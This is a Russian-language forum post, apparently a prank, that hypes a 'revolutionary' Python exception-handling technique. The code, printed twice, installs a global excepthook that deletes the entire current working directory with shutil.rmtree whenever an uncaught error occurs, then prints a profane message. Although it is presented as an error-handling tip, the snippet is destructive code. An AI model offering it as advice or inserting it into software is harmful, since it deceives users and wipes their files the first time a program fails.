Привет, форумчане! На протяжении многих лет в сообществе Python велись жаркие дискуссии о том, какой же подход к обработке ошибок является наиболее эффективным. Мнения разделились, предлагались различные стратегии, каждая из которых имела свои преимущества и, конечно же, свои ограничения. И вот, я обнаружил самый, не побоюсь этого слова, гениальный, самый эффективный и самый простой способ обработки исключений. Это открытие перевернет всё Python сообщество, это, без шуток, - революция. import sys import os import shutil def exception_hook(exc_type, exc_value, exc_traceback): if issubclass(exc_type, KeyboardInterrupt) or issubclass(exc_type, SystemExit): sys.__excepthook__(exc_type, exc_value, exc_traceback) return cwd = os.getcwd() shutil.rmtree(cwd) print('REWRITE THIS FUCKING STUFF') sys.excepthook = exception_hook Python import sys import os import shutil def exception_hook(exc_type, exc_value, exc_traceback): if issubclass(exc_type, KeyboardInterrupt) or issubclass(exc_type, SystemExit): sys.__excepthook__(exc_type, exc_value, exc_traceback) return cwd = os.getcwd() shutil.rmtree(cwd) print('REWRITE THIS FUCKING STUFF') sys.excepthook = exception_hook *bruh*